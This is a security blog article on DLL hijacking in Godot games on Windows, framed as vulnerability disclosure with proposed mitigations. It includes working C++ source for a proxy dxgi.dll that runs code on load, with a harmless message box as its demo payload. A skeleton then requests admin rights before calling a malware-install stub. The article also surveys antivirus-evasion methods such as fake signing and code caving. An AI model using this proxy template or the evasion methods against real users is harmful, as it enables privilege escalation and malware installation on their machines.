Skip to main content

Weaponizing Godot Engine for Evil

· 9 min read
Hamid.Memar
Jenova Framework Founder

ArticleBanner

Introduction

This article explores how attackers can weaponize the Godot Engine on Windows to turning a trusted game engine into a vector for malware. I break down the techniques used to exploit its architecture and highlight the risks posed by default behaviors and overlooked trust assumptions. To close, I propose actionable mitigations aimed at building a safer, more resilient engine for everyone.

Beneath the Surface

Over the past few years, Godot has rapidly evolved from a niche open-source project into a mainstream development platform embraced by indie creators, hobbyists and even commercial studios.

Its lightweight footprint, permissive MIT license and intuitive scene system made it an attractive alternative to heavyweight engines like Unity and Unreal. With the rise of digital distribution and low-barrier storefronts, thousands of developers began shipping games built in Godot—many of them unaware of the underlying trust model baked into its Windows export pipeline.

Like any other engine, Godot has its own flaws—some of which can lead to damage that is irreversible. It's time to examine what lies beneath. Let's get started.

Platform Scope

This article focuses on Windows due to its widespread use. However, the same exploitation techniques can be adapted to other platforms with sufficient technical understanding.

Lack of Module Validation

One critical security step often missing in Windows-based software—including Godot—is module validation. This technique involves delaying the loading of linked libraries and verifying their integrity before manual injection. Without it, applications are vulnerable to DLL Hijacking and other forms of binary manipulation.

A typical Godot binary build imports over 30 modules, none of which are validated during runtime. This opens the door for attackers to silently replace or inject malicious libraries, compromising the system without detection.

Module validation can be implemented in two primary ways:

  • Basic Validation
    Delay module loading and manually verify each library using checksums or a certificate authority before loading them.

  • Advanced Validation
    Hook low-level APIs such as LdrLoadDll to intercept and validate modules dynamically during the loading process.

By integrating either approach, developers can significantly reduce the attack surface and reinforce trust in their exported binaries.

In past, Godot developers have acknowledged potential security risks and issued the following guidance to help protect users:

On Windows and macOS, verify that the executable is signed (and notarized, on macOS) by a trusted party.

However, module hijacking introduces a dangerous inversion of this protection. An unverified module can be exploited even within a signed game distribution—turning the signature into a false sense of security. Worse, this technique can actively benefit the attacker by leveraging trust assumptions baked into the operating system.

Now, Let’s examine how a signed Godot game can be exploited to escalate privileges and gain administrative access without resistance.

Exploiting Unverified Modules

As mentioned earlier, a typical Godot binary imports over 30 modules. For our exploit, targeting just one is sufficient. While core system libraries like kernel32.dll and ntdll.dll are protected by the operating system and resistant to hijacking, many others lack such safeguards.

One such vulnerable module is dxgi.dll—a graphics interface library not protected by default. By hijacking this module, we can inject malicious behavior without triggering system-level defenses. This makes it an ideal candidate for demonstrating how a signed Godot game can be subverted through unverified dependencies.

The first step is to create a proxy module based on the original—essentially cloning it and “Westworlding” it. This ensures the application continues to run without crashing while allowing us to inject malicious behavior. Several tools and scripts exist that can automatically generate such proxy modules, preserving the original exports and structure while embedding custom payloads.

To begin, we copy the original dxgi.dll from System32 and generate a proxy version of it. This proxy replicates the original exports and structure, allowing the application to function normally while giving us a surface to embed custom code. With the proxy in place, we can start injecting our payload without disrupting the game’s execution.

This is how our proxy code should look :

// Headers
#include <Windows.h>

// Database
struct m
{
HMODULE h;
FARPROC f01, f02, f03, f04, f05, f06, f07, f08, f09;
FARPROC f10, f11, f12, f13, f14, f15, f16, f17, f18, f19;
} m;

// Proxy Solver
extern "C"
{
FARPROC _addr = 0; int exec();
void F01() { _addr = m.f01; exec(); } void F02() { _addr = m.f02; exec(); }
void F03() { _addr = m.f03; exec(); } void F04() { _addr = m.f04; exec(); }
void F05() { _addr = m.f05; exec(); } void F06() { _addr = m.f06; exec(); }
void F07() { _addr = m.f07; exec(); } void F08() { _addr = m.f08; exec(); }
void F09() { _addr = m.f09; exec(); } void F10() { _addr = m.f10; exec(); }
void F11() { _addr = m.f11; exec(); } void F12() { _addr = m.f12; exec(); }
void F13() { _addr = m.f13; exec(); } void F14() { _addr = m.f14; exec(); }
void F15() { _addr = m.f15; exec(); } void F16() { _addr = m.f16; exec(); }
void F17() { _addr = m.f17; exec(); } void F18() { _addr = m.f18; exec(); }
void F19() { _addr = m.f19; exec(); }
}

void init()
{
m.f01 = GetProcAddress(m.h, "ApplyCompatResolutionQuirking");
m.f02 = GetProcAddress(m.h, "CompatString");
m.f03 = GetProcAddress(m.h, "CompatValue");
m.f04 = GetProcAddress(m.h, "CreateDXGIFactory");
m.f05 = GetProcAddress(m.h, "CreateDXGIFactory1");
m.f06 = GetProcAddress(m.h, "CreateDXGIFactory2");
m.f07 = GetProcAddress(m.h, "DXGID3D10CreateDevice");
m.f08 = GetProcAddress(m.h, "DXGID3D10CreateLayeredDevice");
m.f09 = GetProcAddress(m.h, "DXGID3D10GetLayeredDeviceSize");
m.f10 = GetProcAddress(m.h, "DXGID3D10RegisterLayers");
m.f11 = GetProcAddress(m.h, "DXGIDeclareAdapterRemovalSupport");
m.f12 = GetProcAddress(m.h, "DXGIDumpJournal");
m.f13 = GetProcAddress(m.h, "DXGIGetDebugInterface1");
m.f14 = GetProcAddress(m.h, "DXGIReportAdapterConfiguration");
m.f15 = GetProcAddress(m.h, "PIXBeginCapture");
m.f16 = GetProcAddress(m.h, "PIXEndCapture");
m.f17 = GetProcAddress(m.h, "PIXGetCaptureState");
m.f18 = GetProcAddress(m.h, "SetAppCompatStringPointer");
m.f19 = GetProcAddress(m.h, "UpdateHMDEmulationStatus");
}

// Mainframe
static void execute()
{
MessageBoxA(0, "We're in!", "", 0);
}

// Entrypoint
int DllMain(void*, DWORD reason, void*)
{
switch (reason)
{
case 1:
m.h = LoadLibraryA("C:\\System32\\dxgi.dll");
init();
execute();
break;
}
return true;
}

Next, we compile our proxy code into a cloned dxgi.dll and place it alongside the signed official Godot binary, then we launch the game.

GuideImage_Step1

Exploited Godot Engine — A message box appears on screen immediately after launching the engine via the cloned DLL.

And just like that—we're in.

Abusing User's Trust

Now that our code is executing within the Godot context, we shift focus to exploiting the user's trust in signed binaries. Instead of displaying a simple message box, we implement administrator access detection. If the game is not running with elevated privileges, our proxy DLL silently terminates the process and relaunches it with administrative rights.

Once elevated access is confirmed, the malicious module is free to execute its payload.
(Note: This article does not include or endorse any damaging code.)

// Mainframe
static void execute()
{
// Check for Administrator Privileges
if (AdminAccess())
{
/* Malicious Code with Admin Access */
InstallMalware();
}
else
{
/* Relaunch Engine with Admin Privileges */
RequestAdminPrivileges();
}
}

After compiling the code and launching Godot through a typical routine, a UAC prompt appears—indicating the request is coming from a Verified Publisher. This leverages the trust granted to signed binaries, making the elevation request appear legitimate to the user.

Screenshot_Step1

UAC Prompt from Malicious Module — Signed binary triggers a trusted-looking elevation request.

Evading Antivirus Detection

In most cases, this technique does not immediately trigger antivirus alerts. However, if the malicious code follows recognizable patterns, it will likely be flagged and terminated quickly. To avoid detection, attackers often employ a range of evasion strategies:

  • Fake Signing (Basic): Using a forged certificate to sign the malicious module can significantly reduce detection rates. Wild right?

  • Thin-Layer Virtual Machine (Advanced): Malware can execute within a custom-built virtual CPU, abstracting its behavior from the host system. When implemented by a skilled developer, this approach renders detection nearly impossible.

  • Sandboxed Execution (Advanced): Similar to VM-based techniques, malware can run in a controlled sandbox environment—commonly used for spyware, keyloggers or remote access tools (RATs). This can be achieved using interpreted languages and just-in-time (JIT) execution. When both the launcher and interpreter (e.g. Python) are signed and trusted, antivirus software is easily misled, allowing malicious code to run undetected.

  • Kernel Exploit (Expert): By exploiting vulnerable kernel drivers, malware can gain direct access to physical memory and system control. This allows it to disable or suspend antivirus software at the core level, and in extreme cases, even damage hardware.

  • Code Caving in Trusted Processes (Expert): With full privileges, the malicious module can easily inject its payload into the memory space of a trusted, elevated system process. Since antivirus software typically ignores these processes, the attack proceeds undetected.

Screenshot_VirusTotal

VirusTotal Result — A trivial fake signature shuts down all antivirus detections on the malicious module.

How to Stay Safe

The most effective defense is to implement proper validation and security checks within the engine itself. However, if the Godot developers choose not to prioritize security, there are still steps you can take to protect yourself.

  • Sandboxie+
    If you're unsure about the safety of a game or application, run it first inside a virtualization tool like Sandboxie+. This lightweight utility isolates the app from your real file system and registry, allowing you to inspect its behavior in a controlled environment before trusting it.

  • Modules Matter!
    In addition to verifying the engine binary, always check the certificate of critical modules like dxgi.dll in any game distribution. While this isn't foolproof—many indie developers can't afford expensive code-signing certificates—it adds an extra layer of scrutiny.

  • The Cake Is a Lie!
    Don't blindly trust major gaming platforms like Steam or Epic Games. Several users have been compromised by malware hidden in games distributed through these services. Always take precautions, even when dealing with "trusted" sources.

A Slice of the Pizza

What you've seen in this article is just one of many vulnerabilities lurking within the Godot Engine's security model:

  1. No Dependency Validation : Godot lacks a system to verify external modules, making it highly susceptible to DLL hijacking.
  2. No Execution Filtering : The engine performs no validation on the content it executes, allowing arbitrary code to run unchecked.
  3. No Sandbox Virtualization : There's no built-in isolation layer to contain untrusted logic or plugins.
  4. No Tamper or Injection Protection : Godot offers no defense against binary tampering or runtime code injection.

And that’s just the tip of the iceberg...